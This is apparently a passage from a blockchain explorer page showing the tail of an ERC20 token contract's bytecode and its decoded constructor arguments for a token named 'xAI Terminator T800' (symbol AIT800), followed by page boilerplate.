b919050565b60008060408385031215610a3457600080fd5b610a3d83610a05565b946020939093013593505050565b600080600060608486031215610a6057600080fd5b610a6984610a05565b9250610a7760208501610a05565b9150604084013590509250925092565b600060208284031215610a9957600080fd5b5035919050565b600060208284031215610ab257600080fd5b61041182610a05565b60008060408385031215610ace57600080fd5b610ad783610a05565b9150610ae560208401610a05565b90509250929050565b600181811c90821680610b0257607f821691505b602082108103610b2257634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052602160045260246000fd5b634e487b7160e01b600052601160045260246000fd5b808201808211156102ba576102ba610b3e565b818103818111156102ba576102ba610b3e56fe4945524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e63654945524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122022f3aaa1075212eef263439c19bd3ddb0ee5c682ddffbbb1554e9159c60c14c664736f6c63430008120033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000a5ba39c587b728be881377955c6e8858fb1800f70000000000000000000000000000000000000000000000000000000f85a49a680000000000000000000000000000000000000000000000000000000000000013784149205465726d696e61746f7220543830300000000000000000000000000000000000000000000000000000000000000000000000000000000000000000064149543830300000000000000000000000000000000000000000000000000000
-----Decoded View---------------
Arg [0] : name_ (string): xAI Terminator T800
Arg [1] : symbol_ (string): AIT800
Arg [2] : token_ (address): 0xa5BA39C587b728be881377955C6E8858FB1800f7
Arg [3] : totalSupply_ (uint256): 66666666600
-----Encoded View---------------
8 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000080
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000c0
Arg [2] : 000000000000000000000000a5ba39c587b728be881377955c6e8858fb1800f7
Arg [3] : 0000000000000000000000000000000000000000000000000000000f85a49a68
Arg [4] : 0000000000000000000000000000000000000000000000000000000000000013
Arg [5] : 784149205465726d696e61746f72205438303000000000000000000000000000
Arg [6] : 0000000000000000000000000000000000000000000000000000000000000006
Arg [7] : 4149543830300000000000000000000000000000000000000000000000000000
Loading...
Loading
Loading...
Loading
Multichain Portfolio | 31 Chains
Chain | Token | Portfolio % | Price | Amount | Value |
---|
Loading...
Loading
[ Download: CSV Export ]
A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.